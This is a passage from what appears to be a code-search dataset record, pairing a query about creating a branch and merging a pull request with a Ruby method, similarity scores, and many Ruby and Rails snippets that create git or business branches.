}\n\t\t\t\telse\n\t\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\t\tformat.xml { render :xml => @decision.errors, :status => :unprocessable_entity }\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\tend\n\t\tend\n end\n end"
] |
[
"0.62407976",
"0.59501207",
"0.57885426",
"0.5736911",
"0.56472105",
"0.5541213",
"0.55151194",
"0.54179764",
"0.5415709",
"0.5390938",
"0.5278701",
"0.5260954",
"0.5251768",
"0.5231606",
"0.5203846",
"0.52030385",
"0.5193117",
"0.51239496",
"0.50823104",
"0.5078143",
"0.50611216",
"0.5041435",
"0.50352526",
"0.5017539",
"0.5003799",
"0.49965143",
"0.49808404",
"0.49799109",
"0.49694282",
"0.49592853",
"0.49553773",
"0.4930509",
"0.49172762",
"0.4911018",
"0.48967874",
"0.4851543",
"0.48380387",
"0.48256648",
"0.4819086",
"0.47903264",
"0.47893983",
"0.47818217",
"0.47790682",
"0.47765422",
"0.47732416",
"0.47725672",
"0.4771842",
"0.47448596",
"0.4743269",
"0.47412834",
"0.47407916",
"0.47402546",
"0.47400445",
"0.47392762",
"0.47362918",
"0.4731972",
"0.47270414",
"0.47164634",
"0.47140992",
"0.46986216",
"0.46927702",
"0.4689603",
"0.46848467",
"0.46767938",
"0.46580306",
"0.46553022",
"0.46516797",
"0.46502465",
"0.46497867",
"0.46463636",
"0.46436748",
"0.4638729",
"0.4637886",
"0.46365407",
"0.46358836",
"0.46341532",
"0.46307603",
"0.46278247",
"0.4623408",
"0.46074274",
"0.46023324",
"0.45965075",
"0.45935896",
"0.45925933",
"0.45908424",
"0.45880574",
"0.45695448",
"0.4568971",
"0.45664155",
"0.4563313",
"0.45599186",
"0.45591965",
"0.45535317",
"0.454086",
"0.45336103",
"0.45175496",
"0.45138478",
"0.45037764",
"0.45011002",
"0.45001236"
] |
0.7657075
|
0
|
Public: Create the branch and handle related processing
|
def perform
git.if_clean do
check_out_branch
merge_pull_request
comment_about_merge
end
rescue => e
case e
when GitHub::PullRequest::NotFound
cli.say "Unable to find pull request #{pull_request_id}. Please retry with a valid ID."
when Git::MergeFailed
cli.say "Merge failed. Please identify the source of this merge conflict resolve this conflict in your pull request's branch. NOTE: Merge conflicts resolved in the #{branch_type} branch are NOT used when deploying."
when Git::CheckoutFailed
cli.say "Checkout of #{branch_to_merge_into} failed. Please contact Infrastructure to determine the cause."
when GitHub::PullRequest::CommentFailed
cli.say "Unable to write comment. Please navigate to #{pull_request.url} and add the comment, '#{comment_body}'"
else
cli.say "An unknown error occurred: #{e.inspect}"
end
raise
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_branch\n @tree_class.new\n end",
"def create_branch(_base_branch, _new_branch)\n puts 'TODO: Implement Git.create_branch'\n end",
"def create\r\n if @current_shop.branches_count >= @current_shop.max_branches_count\r\n flash[:error] = t('You have no authories to create more branch.')\r\n redirect_to backend_shop_branches_path(@current_shop.slug)\r\n else\r\n @branch = @current_shop.branches.build(branch_params.except(:supported_order_types, :supported_scratchpad_order_types, :supported_send_sms_order_types))\r\n @branch.supported_order_types = params[:branch][:supported_order_types].nil? ?\r\n nil: params[:branch][:supported_order_types].select{|type| Order::order_types_array.index(type).present? }.join(',')\r\n @branch.supported_scratchpad_order_types = params[:branch][:supported_scratchpad_order_types].nil? ?\r\n nil: params[:branch][:supported_scratchpad_order_types].select{|type| Order::order_types_array.index(type).present? }.join(',')\r\n @branch.supported_send_sms_order_types = params[:branch][:supported_send_sms_order_types].nil? ?\r\n nil: params[:branch][:supported_send_sms_order_types].select{|type| Order::order_types_array.index(type).present? }.join(',')\r\n #@branch = @current_shop.branches.build(branch_params)\r\n respond_to do |format|\r\n if @branch.save\r\n format.html { redirect_to backend_shop_branch_branch_steps_path(@current_shop.slug, @branch) + \"/detail_info\" }\r\n format.json { render action: 'show', status: :created, location: @branch }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @branch.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end\r\n end",
"def create_branch new_branch_name\n repo.create_branch new_branch_name\n end",
"def branch; end",
"def create_branch(name:, precondition: Any, extractor: IDENTITY, destructure: false, default: false)\n Qo::Branches::Branch.create(\n name: name,\n precondition: precondition,\n extractor: extractor,\n destructure: destructure,\n default: default\n )\n end",
"def create_branch(branch)\n client.create_ref repo, \"heads/#{branch}\", base_sha\n end",
"def create\n #@branch = Branch.new(params[:branch])\n\n respond_to do |format|\n if @branch.save\n format.html { redirect_to(@branch, :notice => 'Branch was successfully created.') }\n format.xml { render :xml => @branch, :status => :created, :location => @branch }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @branch.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @page_title = t('branches.new.title') \n @branches = Branch.all \n @branch = Branch.new(params[:branch])\n respond_to do |format|\n if @branch.save\n flash[:notice] = t('branches.new.success', :branch_name => @branch.name)\n format.html { redirect_to(edit_branch_url(@branch)) }\n format.xml { render :xml => @branch, :status => :created, :location => @branch }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @branch.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_branch\n ErrorEmittingExecutor.execute(\"git checkout -B #{BRANCH_NAME}\")\n\n # Ensure local branch matches any existing upstream branch; will reset to HEAD by default\n ErrorEmittingExecutor.execute('git reset --hard', exit_on_error: true)\nend",
"def create_branch\n sh 'git branch gh-pages'\n sh 'git checkout gh-pages'\n end",
"def create\n @branch = Branch.new(branch_params.map{|k,v| {k.to_sym => v.class == ActionController::Parameters ? [v.to_hash] : v.to_s}}.reduce({}, :merge))\n\n respond_to do |format|\n if @branch.save\n format.html { redirect_to @branch, success: 'Branch was successfully created.' }\n format.json { render :show, status: :created, location: @branch }\n else\n format.html { render :new }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def git_branch_create(new_branch_name)\n repo.create_branch(new_branch_name)\n end",
"def create( branch, newattrs={} )\n\t\tnewattrs = normalize_attributes( newattrs ) if newattrs.is_a?( Hash )\n\t\tself.conn.add( branch.to_s, newattrs )\n\n\t\treturn true\n\tend",
"def create_branches(repo)\n @branch_names.collect {|branch_name| \n Branch.new(branch_name ,Grit::Commit.find_all(repo, branch_name).sort_by { |k| k.authored_date}.reverse)}\n end",
"def branch(name)\n gitrepo.create_branch(name)\n end",
"def create\n @branch = Branch.new(params[:branch])\n flash[:notice] = 'Branch was successfully created.' if @branch.save\n respond_with(@branch)\n end",
"def create\n\n @branch = Branch.new(branch_params)\n\n respond_to do |format|\n if @branch.save\n format.html { redirect_to @branch, notice: 'Store branch was successfully created.' }\n format.json { render action: 'show', status: :created, location: @branch }\n else\n format.html { render action: 'new' }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @branch = Branch.new(branch_params)\n\n respond_to do |format|\n if @branch.save\n format.html { redirect_to @branch, notice: 'Branch was successfully created.' }\n format.json { render action: 'show', status: :created, location: @branch }\n else\n format.html { render action: 'new' }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def branch(params)\n Processor.task(params)\n end",
"def create\n @branch = Branch.create(branch_params)\n if @branch.valid?\n render json: @branch, status: :accepted\n else\n render json: {errors: @branch.errors.full_messages}, status: :unprocessable_entity \n end\n end",
"def create_branch(name)\n begin\n res = satelliterepo.create_branch(name)\n rescue\n return nil\n end\n pushtobare name\n res\n end",
"def create\n @tree=Tree.find(params[:branch][:tree_id])\n if @tree\n @branch = Branch.new()\n @branch.private=params[:branch][:private]\n @branch.name=params[:branch][:name]\n @branch.tree=@tree\n @latest_tip=@branch.tips.latest.first\n respond_to do |format|\n if @branch.save\n admin=Affiliation::Administration.new\n admin.user=current_user\n admin.entity=@branch\n admin.save\n #@branch.memberships.create({:user => current_user, :admin => true}, :as => :admin)\n format.html { redirect_to tree_branch_url @tree,@branch, notice: 'Branch was successfully created.' }\n format.json\n format.js\n else\n format.html { render action: \"new\" }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n format.js { render action: \"new\",status: :unprocessable_entity }\n end\n end\n else\n render :json => {:error=>\"not found\"},:status => 404\n end\n end",
"def create_branch(name, target = 'upstream/master')\n # fetch the remote if defined in the target\n unless branch_exist?(name)\n remote_name, ref = target.split('/', 2)\n fetch(remote_name)\n logger.info(\"Creating branch: #{name} for #{path} from #{target}\")\n found_ref = find_ref(target)\n repo.create_branch(name, found_ref)\n else\n repo.branches[name]\n end\n end",
"def create\n @entity = Entity.new(entity_params) \n @branch = Branch.new \n respond_to do |format|\n if @entity.save\n\n @branch.entity = @entity\n @branch.name = @entity.name\n @branch.initials = @entity.initials\n @branch.code = @entity.code\n @branch.mgr_name = @entity.mgr_name\n @branch.mgr_email = @entity.mgr_email\n @branch.mgr_tel = @entity.mgr_tel\n @branch.mgr_cel = @entity.mgr_cel\n @branch.municipality = @entity.municipality\n @branch.department = @entity.department\n @branch.address = @entity.address\n @branch.entype = @entity.entype\n \n @branch.save\n\n format.html { redirect_to @entity, notice: 'IPS creada exitosamente. Hicimos por ti una sede principal con los mismos datos, revísala!' }\n format.json { render :show, status: :created, location: @entity }\n else\n format.html { render :new }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @branch = Branch.new(branch_params)\n @starting_range = params[:branch][:text]\n @ending_range = params[:branch][:range]\n @starting_range = Integer(@starting_range)\n @ending_range = Integer(@ending_range)\n if @starting_range <= @ending_range\n @random_number = Random.new.rand(@starting_range..@ending_range)\n @branch.text = @random_number.to_s\n @branch.range = @starting_range.to_s + \" - \" + @ending_range.to_s\n @branch.uid = params[:branch][:uid].strip\n @branch.parent = params[:branch][:parent].strip\n respond_to do |format|\n if @branch.save\n format.html { redirect_to action: \"index\", notice: 'Branch was successfully updated.' }\n format.json { render action: 'show', status: :created, location: @branch }\n else\n format.html { render action: 'new' }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n else\n format.json { render json: \"[{error: invalid range}]\", status: :unprocessable_entity }\n end\n end",
"def create_module_and_branch(opts = {})\n self.module_class.create_module(self.project, self.local_params, return_module_branch: true, create_implementation: opts[:create_implementation], donot_push_to_repo_manager: true)\n end",
"def new_issue_branch(branch, branch_project: nil)\n branch_project ||= project\n link = url_helpers.project_compare_path(branch_project, from: branch_project.default_branch, to: branch)\n\n body = \"created branch [`#{branch}`](#{link}) to address this issue\"\n\n create_note(NoteSummary.new(noteable, project, author, body, action: 'branch'))\n end",
"def create\n @branch = current_user.branches.new(branch_params)\n\n respond_to do |format|\n if @branch.save\n Tools.write2log(current_user.id, 'Добавление', 'Филиалы', 0, branch_params.to_s)\n format.html { redirect_to branches_path, notice: 'Филиал был успешно добавлен.' }\n format.json { render action: 'show', status: :created, location: @branch }\n else\n Tools.write2log(current_user.id, 'Добавление', 'Филиалы', 1, branch_params.to_s)\n format.html { render action: 'new' }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def branch\n raise NotImplementedError\n end",
"def new\n @branch = Branch.new\n respond_with(@branch)\n end",
"def create\n\n @branch = Branch.new branch_params.except(*[:lat, :lng]).merge(coordinates: [branch_params[:lng], branch_params[:lat]])\n @branch.bussiness_id = current_user.bussiness.id\n if @branch.save\n render 'show.json.jbuilder', status: :created\n else\n render json: @branch.errors, status: :bad_request\n end\n end",
"def create\n @labbranch = labbranch.new(params[:labbranch])\n\n respond_to do |format|\n if @labbranch.save\n format.html { redirect_to @labbranch, notice: 'labbranch was successfully created.' }\n format.json { render json: @labbranch, status: :created, location: @labbranch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @labbranch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_and_update_assembly_branch?(opts = {})\n module_branch = get_or_create_module_for_service_instance\n\n unless opts[:trap_error]\n update_assembly_branch(module_branch)\n else\n # trap all errors except case where task action does not\n begin\n update_assembly_branch(module_branch)\n rescue Task::Template::TaskActionNotFoundError => e\n raise e\n rescue => e\n Log.info_pp(['trapped error in create_and_update_assembly_branch', e])\n end\n end\n\n @service_module.get_workspace_branch_info(assembly_module_version).merge(edit_file: meta_file_path)\n end",
"def create\n @providers_branch = Providers::Branch.new(providers_branch_params)\n\n respond_to do |format|\n if @providers_branch.save\n format.html { redirect_to providers_branches_path, notice: 'Branch was successfully created.' }\n format.json { redirect_to providers_branches_path, status: :created, location: @providers_branch }\n else\n format.html { render :new }\n format.json { render json: @providers_branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_branch(name)\n return unless /[a-z0-9\\-_]/.match name\n begin\n res = satelliterepo.create_branch(name)\n rescue\n return nil\n end\n pushtobare name\n res\n end",
"def create_branch\n check_current_repo\n exists = `git branch --list #{branch}`.squish == branch\n if exists\n `git checkout #{branch}`\n else\n `git checkout master` unless current_branch == 'master'\n `git checkout -b #{branch}`\n end\nend",
"def branches; end",
"def create_module_and_branch?(opts = {})\n if module_obj = module_exists?\n module_branch_exists? || create_module_branch(module_obj)\n else\n create_module_and_branch(create_implementation: opts[:create_implementation])\n end\n end",
"def build_branch(branch, params = {}, body = {})\n CircleCi.request(conf, \"#{base_path}/tree/#{branch}\", params).post(body)\n end",
"def new\n @branch = Branch.new(parent_id: params[:branch_id])\n if params[:branch_id]\n @branch_details = Branch.find(params[:branch_id])\n @title = \"Create a branch under #{@branch_details.name}\"\n end\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @branch }\n end\n end",
"def create\n @star_branch = Star::Branch.new(params[:star_branch])\n\n respond_to do |format|\n if @star_branch.save\n format.html { redirect_to @star_branch, notice: 'Branch was successfully created.' }\n format.json { render json: @star_branch, status: :created, location: @star_branch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @star_branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def newMet\n puts \"Try to create a new branch and then push it back to remote\"\n end",
"def create\n @branch_tree = BranchTree.new(branch_tree_params)\n\n respond_to do |format|\n if @branch_tree.save\n format.html { redirect_to @branch_tree, notice: 'Branch tree was successfully created.' }\n format.json { render :show, status: :created, location: @branch_tree }\n else\n format.html { render :new }\n format.json { render json: @branch_tree.errors, status: :unprocessable_entity }\n end\n end\n end",
"def begin_create\n create_stack.push(true)\n end",
"def build_branch(branch, params = {}, body = {})\n CircleCi.request(@conf, \"/project/#{username}/#{project}/tree/#{branch}\", params).post(body)\n end",
"def create_branch( tag=next_branch_tag(), sha=nil )\n if not sha\n sha = commits.last.id\n #sha = branches.first.commit.id if not sha\n end\n name = clean_tag(tag)\n update_ref(name, sha)\n name\n end",
"def create\n\n # render plain: params[:customer].inspect\n @branch = Branch.new(customer_params)\n # @Branch.save\n if @branch.save\n flash[:notice] = \"New branch added\"\n redirect_to branch_path(@branch)\n else\n render 'new'\n end\n end",
"def create\n @company_branch = CompanyBranch.new(company_branch_params)\n\n respond_to do |format|\n if @company_branch.save\n format.html { redirect_to admin_company_branches_path, notice: 'Company branch was successfully created.' }\n format.json { render :show, status: :created, location: @company_branch }\n else\n format.html { render :new }\n format.json { render json: @company_branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @branch = Branch.new(branch_params)\n\n respond_to do |format|\n if @branch.save\n format.html { redirect_to @branch, success: 'Branch was successfully created.' }\n format.json { render action: 'show', status: :created, location: @branch }\n format.js { render partial: 'shared/create_record_js', locals: { object: @branch } }\n else\n format.html { render action: 'new' }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n format.js { render :js => 'show_record_errors(' + @branch.errors.full_messages.to_json + ');' }\n end\n end\n end",
"def create(project_name)\n\t\tnew_branch_name = branch_generator(project_name)\n\t\tif project_name.nil?\n\t\t\tputs \"Missing project name!\"\n\t\telse\n\n\t\t\texec(\"\n\t\t\tmkdir #{@@default_directory}#{project_name.to_s} &&\n\t\t\tcd #{@@default_directory}#{project_name.to_s} &&\n\t\t\tgit init &&\n\t\t\tgit checkout -b master &&\n\t\t\tgit commit --allow-empty -m 'first commit' &&\n\t\t\tgit tag -a v0.0 -m 'first tag' &&\n\t\t\tgit checkout -b #{new_branch_name}\n\t\t\t\")\n\n\t\t\tsystem(\"cd #{@@default_directory}#{project_name.to_s}\")\n\t\t\tsave(project_name)\n\t\tend\n\tend",
"def create\n @branch = Branch.new(\n branch_params.merge(\n head_office_id: (Branch.find_by_username(params[:branch2]).id rescue nil),\n code: (\"#{('%03d' % ((Branch.last.code.gsub('M', '').to_i rescue 0)+1))}\")\n )\n )\n @head_offices = HeadOffice.all\n @users = User.joins(:role).limit(7).map{|user|[user.username, user.id]}\n if @branch.save\n flash[:notice] = 'Store successfully created'\n redirect_to branches_path\n else\n @head_offices = HeadOffice.all\n @regionals = Regional.all\n @users = User.joins(:role).limit(7).map{|user|[user.username, user.id]}\n load_departments\n flash[:error] = @branch.errors.full_messages.join('<br/>')\n render \"new\"\n end\n end",
"def branch(target, options = {})\n branches << Branch.new(target, options)\n end",
"def __branch(arg)\n case arg\n when ::Hash then TupleScope.new(arg, [], self)\n else\n Kernel::raise NotImplementedError, \"Unable to branch with `#{arg}`\"\n end\n end",
"def create_branch_and_checkout(repo_path, commit, branch)\n `(cd \"#{repo_path}\" && git checkout -b #{branch} #{commit})`\n end",
"def save_branch\n @@save_branch << @@obj.current_branch\n end",
"def create\n @branch = Branch.new(branch_params)\n\n respond_to do |format|\n if not session[:tipo_usuario] == 1\n format.html { redirect_to new_branch_path, notice: 'Solo el administrador puede crear una Sucursal' }\n #format.json { render :show, location: @branch } \n elsif @branch.save\n format.html { redirect_to @branch }\n format.json { render :show, status: :created, location: @branch }\n else\n format.html { render :new }\n format.json { render json: @branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @commit = Commit.new\n\n #walker = Rugged::Walker.new(@repo)\n #\n #walker.sorting(Rugged::SORT_TOPO | Rugged::SORT_REVERSE) # optional\n #\n #walker.push('HEAD')\n #walker.each { |c| \n # @commit = Commit.new(sha: c.oid, description:c.message,\n # author: c.author[:name], commit_date: c.author[:time])\n # @commit.save\n #}\n #walker.reset\n\n respond_to do |format|\n format.html { redirect_to @commit, notice: 'Commit was successfully created.' }\n format.json { render :show, status: :created, location: @commit }\n end\n end",
"def create\n @employeebranch = Employeebranch.new(employeebranch_params)\n\n respond_to do |format|\n if @employeebranch.save\n format.html { redirect_to @employeebranch, notice: 'Employeebranch was successfully created.' }\n format.json { render :show, status: :created, location: @employeebranch }\n else\n format.html { render :new }\n format.json { render json: @employeebranch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @customerbranch = Customerbranch.new(customerbranch_params.map{|k,v| {k.to_sym => v.class == ActionController::Parameters ? [v.to_hash] : v.to_s}}.reduce({}, :merge))\n\n respond_to do |format|\n if @customerbranch.save\n format.html { redirect_to @customerbranch, notice: 'Customerbranch was successfully created.' }\n format.json { render :show, status: :created, location: @customerbranch }\n else\n format.html { render :new }\n format.json { render json: @customerbranch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_branch_point( *elements )\n return Util::ExpressionForms::BranchPoint.new( *elements )\n end",
"def initialize_branch\t\n\t\tif params[:branch_id]\n\t\t\tbranch_id = params[:branch_id]\n\t\telse\n\t\t\tbranch_id = current_profile.user_profile.branch.id #Assuming only teachers are able to create events now.\n\t\tend\n \t\t@branch = Branch.find(branch_id)\n\tend",
"def create\n @industry_branch = IndustryBranch.new(industry_branch_params)\n\n respond_to do |format|\n if @industry_branch.save\n format.html { redirect_to @industry_branch, notice: 'Industry branch was successfully created.' }\n format.json { render :show, status: :created, location: @industry_branch }\n else\n format.html { render :new }\n format.json { render json: @industry_branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def branch(...)\n ApplicationClient.new(...)\n end",
"def branch\n parse!\n raise NotImplementedError.new(\"branch() must be implemented by subclasses of AbstractChangeset.\")\n end",
"def work\n self.busy = true\n check_for_new_commits_on_branches\n self.busy = false\n end",
"def create\n @branch_route = BranchRoute.new(permitted_params.branch_route)\n\n respond_to do |format|\n if @branch_route.save\n format.html { redirect_to @branch_route, notice: 'Branch route was successfully created.' }\n format.json { render action: 'show', status: :created, location: @branch_route }\n else\n format.html { render action: 'new' }\n format.json { render json: @branch_route.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @branch_contact = BranchContact.new(branch_contact_params)\n\n respond_to do |format|\n if @branch_contact.save\n format.html { redirect_to @branch_contact, notice: 'Branch contact was successfully created.' }\n format.json { render :show, status: :created, location: @branch_contact }\n else\n format.html { render :new }\n format.json { render json: @branch_contact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @restaurant_branch = RestaurantBranch.new(restaurant_branch_params)\n\n respond_to do |format|\n if @restaurant_branch.save\n format.html { redirect_to @restaurant_branch, notice: 'Restaurant branch was successfully created.' }\n format.json { render :show, status: :created, location: @restaurant_branch }\n else\n format.html { render :new }\n format.json { render json: @restaurant_branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_branch\n #puts \"---------------test_branch-----------------\"\n t1= nil\n t2 = nil\n t11 = nil\n t12 = nil\n GraphBuilder::Builder.build do |b|\n t1 = b.add(Thing1.new)\n b.branch do \n t11 = b.add(Thing11.new)\n t12 = b.add(Thing12.new)\n end\n t2 = b.add(Thing2.new)\n end\n\n r = Thing.links([t1,t2,t11,t12])\n assert_equal 4, r.size\n assert r.include? [t1,t11]\n assert r.include? [t1,t12]\n assert r.include? [t11,t2]\n assert r.include? [t12,t2]\n end",
"def create_remote_branch\n Gitlab.create_branch(GITLAB_DOCS_REPO, docs_branch, 'master')\n puts \"=> Remote branch '#{docs_branch}' created\"\n\n pipelines = nil\n\n # Wait until the pipeline is started\n loop do\n sleep 1\n puts \"=> Waiting for pipeline to start...\"\n pipelines = Gitlab.pipelines(GITLAB_DOCS_REPO, { ref: docs_branch })\n break if pipelines.any?\n end\n\n # Get the first pipeline ID which should be the only one for the branch\n pipeline_id = pipelines.first.id\n\n # Cancel the pipeline\n Gitlab.cancel_pipeline(GITLAB_DOCS_REPO, pipeline_id)\nrescue Gitlab::Error::BadRequest\n puts \"=> Remote branch '#{docs_branch}' already exists\"\nend",
"def checkout(branch)\n zombie_check\n workdir = File.join(@repo.dir.to_s, \".worktree\", @name, branch)\n worktree = @repo.new_worktree(workdir, self.class.branch_name(@name, branch: branch)) \n end",
"def create\n \n end",
"def create_review_branch(repo)\n\trepo = repo.gsub(/\\w*-?\\w*\\//,'')\n\tputs \"\"\n\tputs \"Deleting old and creating new review branch for #{repo}\"\n\t`cd ~/workspace/#{repo}; git checkout master; git branch -d review; git push origin --delete review; git branch review; git push -u origin review`\nend",
"def patch_branch\n num = 1\n branch_name = form_data[\"title\"].parameterize\n return branch_name unless branch_exists?(branch_name)\n branch = \"#{branch_name}-#{num}\"\n while branch_exists?(branch) do\n num = num + 1\n branch = \"#{branch_name}-#{num}\"\n end\n branch\n end",
"def push(_branch)\n puts 'TODO: Implement Git.push'\n end",
"def insert_hwb\n type = OrderType.find_by_name(\"hwb\")\n \n res = RResponse.new\n\n Order.transaction do\n begin\n data = params[\"order\"]\n\n # hack created by for now\n data[\"created_by\"] = current_user.account\n data[\"order_type_id\"] = type.id\n \n \n data[\"bill_number\"] = (params[\"is_quote\"] == 'false') ? type.generate_bill_number(self.get_config_param(:hwb_offset)) : nil\n \n data[\"dim_factor\"] = 194\n \n if (params[\"multiple_pickup\"] != nil && params[\"multiple_pickup\"] == \"on\") \n data[\"pickup_locations\"] = JSON::parse(params[\"locations\"])\n end\n \n # read bill_to bill_third_party checkbox: if on, bill third-party. otherwise, bill shipper.\n if (params[\"bill_third_party\"].nil? || params[\"bill_third_party\"] != 'on')\n data[\"bill_to_id\"] = params[\"shipper\"][\"company_id\"]\n end\n \n ##############################################################################################\n # HACK order[billing_method_id] -- might need this in order since it's defined company-wide\n ##############################################################################################\n data[\"billing_method_id\"] = 1\n ##############################################################################################\n \n # super can handle it from here...\n order = Order.create(data)\n\n # get OrderTypeEntity list\n entities = order.type.entities(:include => [:domain])\n entities.each do |e|\n if (e.name != 'consignee' || (e.name == 'consignee' && params[\"has_consignee\"] != nil && params[\"has_consignee\"] == 'on') )\n data = params[e.name]\n data[:order_id] = order.id\n data[:order_type_entity_id] = e.id\n oe = OrderEntity.create(data)\n end\n end\n \n # apply markup & fuel_surcharge from order's bill_to to the order.\n types = SystemRevenuType.find(:all)\n revenus = SystemRevenu.find(:all)\n revenus.each do |sr|\n \n field = order.bill_to.domain.fields.find_by_name(sr.name) \n raise RException.new(\"Create HWB -- Could not locate company's revenu-field '#{sr.name}'\") if field.nil?\n \n # first get default value \n value = field.config[:value] \n \n # if the bill_to company has this Revenu field explicitly defined, apply that instead.\n if (!order.bill_to.domain_values.nil? && !order.bill_to.domain_values[field.id].nil?)\n value = order.bill_to.domain_values[field.id] \n end \n \n # apply insurance only if declared_value was defined\n if (sr.name != 'insurance' || !order.declared_value.nil?)\n # apply multiplier type to insurance only -- all other revenus (markup, fuel-surcharge) get percentage\n type = (sr.name != 'insurance') ? types.find { |t| (t.name == 'percentage') ? true : false} : types.find { |t| (t.name == 'multiplier') ? true : false} \n OrderRevenu.create(\n :order_id => order.id,\n :system_revenu_id => sr.id,\n :system_revenu_type_id => type.id,\n :value => value,\n :config => field.config #<-- this column contains Ext.form.Field config\n ) \n end \n end\n # log order-creation\n OrderLog.create(\n :order_id => order.id,\n :account_id => current_user.account.id,\n :order_log_type_id => OrderLogType.find_by_name('status').id,\n :subject => 'Order created',\n :msg => 'New ' + type.name\n )\n res.data[:order] = {\n :id => order.id,\n :bill_number => order.bill_number\n }\n res.success = true\n res.msg = 'Created order #' + order.bill_number.to_s\n end \n end\n\n respond(res)\n end",
"def create\n \n end",
"def create\n @group_branch = GroupBranch.new(group_branch_params)\n\n respond_to do |format|\n if @group_branch.save\n format.html { redirect_to location_group_branches_path, notice: \"Grupo de Ramo (#{@group_branch.description}) foi cadastrado com sucesso\"}\n format.json { render :index, status: :created, Location: location_group_branches_path }\n else\n format.html { render :new }\n format.json { render json: @group_branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def saveas newbranch, message = nil\n message ||= \"Create new branch: #{newbranch}\"\n begin\n if @git.empty?\n # For an empty repo, we can \"create a new branch\" by setting HEAD to\n # a symbolic reference to the new branch. Then, the next commit will\n # create that branch (instead of master).\n Rugged::Reference.create(@git, 'HEAD',\n \"refs/heads/#{newbranch}\", true)\n else\n # For a non-empty repo, we just create a new branch and switch to it.\n branch = @git.create_branch newbranch\n @git.head = branch.canonical_name\n end\n rescue Rugged::ReferenceError => error\n case error.message\n when /is not valid/\n raise InvalidParameter, \"#{newbranch} is not a valid branch name\"\n when /already exists/\n raise InvalidParameter, \"#{newbranch} already exists\"\n else\n raise Error, \"Internal Rugged error: #{error.message}\"\n end\n end\n\n # Next, save any working changes.\n begin\n save message\n rescue NothingToCommitError\n # New changes are not required for saveas.\n end\n end",
"def create\n @transfer = @branch.transfers.create(params[:transfer])\n respond_to do |format|\n if @transfer.save\n format.html { redirect_to branch_transfer_path(@branch,@transfer), notice: 'Transfer was successfully created.' }\n format.json { render json: @transfer, status: :created, location: @transfer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @transfer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n add_breadcrumb I18n.t('integral.navigation.create'), \"new_backend_#{controller_name.singularize}_path\".to_sym\n @resource = resource_klass.new(resource_params)\n\n yield if block_given?\n\n if @resource.save\n respond_successfully(notification_message('creation_success'), send(\"edit_backend_#{controller_name.singularize}_path\", @resource.id))\n else\n respond_failure(notification_message('creation_failure'), :new)\n end\n end",
"def create\n @customer_branch = current_customer.company_branches.new(company_params)\n\n respond_to do |format|\n if @customer_branch.save\n format.html { \n redirect = customer_path(current_customer)\n if current_company.is_customer?\n if params[:return_to_service_sets]\n redirect = customer_evaluations_path(current_customer)\n else\n redirect = customer_customer_branches_path(current_customer)\n end\n end\n redirect = company_reseller_customer_path(current_company, current_customer.parent, current_customer) if session[:by_reseller] && current_customer.parent && current_customer.parent.is_partner?\n redirect_to redirect, notice: I18n.t('branches.messages.location_successfully_added') \n }\n format.json { render json: @customer_branch, status: :created, location: @customer_branch }\n format.js#\n else\n format.html { render :new }\n format.json { render json: @customer_branch.errors, status: :unprocessable_entity }\n format.js#\n end\n end\n end",
"def saveas newbranch, message = nil\n message ||= \"Create new branch: #{newbranch}\"\n # First, create the new branch and switch to it.\n Dir.chdir @root do\n cmd = \"git checkout -b \\\"#{newbranch}\\\"\"\n stdout, stderr, status = Open3.capture3 cmd\n if status != 0\n case stderr\n when /not a valid branch name/\n raise InvalidParameter, \"#{newbranch} is not a valid branch name\"\n when /already exists/\n raise InvalidParameter, \"#{newbranch} already exists\"\n when /Not a git repository/\n raise NotARepositoryError\n else\n raise Error, stderr\n end\n end\n end\n # Next, save any working changes.\n begin\n Twit.save message\n rescue NothingToCommitError\n # New changes are not required for saveas.\n end\n end",
"def branch(**new_options)\n if self.is_a?(Builder)\n options = self.options\n else\n options = DEFAULT_OPTIONS.merge(processor: self::Processor)\n end\n\n options = options.merge(new_options) do |key, old_value, new_value|\n case key\n when :loader, :saver then old_value.merge(new_value)\n when :operations then old_value + new_value\n else new_value\n end\n end\n\n Builder.new(options.freeze)\n end",
"def display_branch\n colored_active_branch = build_magenta_text_with_condition(@name, @is_active_branch)\n colored_issue_state = build_colored_issue_state\n colored_issue_title = build_magenta_text_with_condition(@issue_title, @is_active_branch)\n\n build_branch_view(colored_issue_state, colored_active_branch, colored_issue_title)\n end",
"def branches\n @branches ||= build_branches\n end",
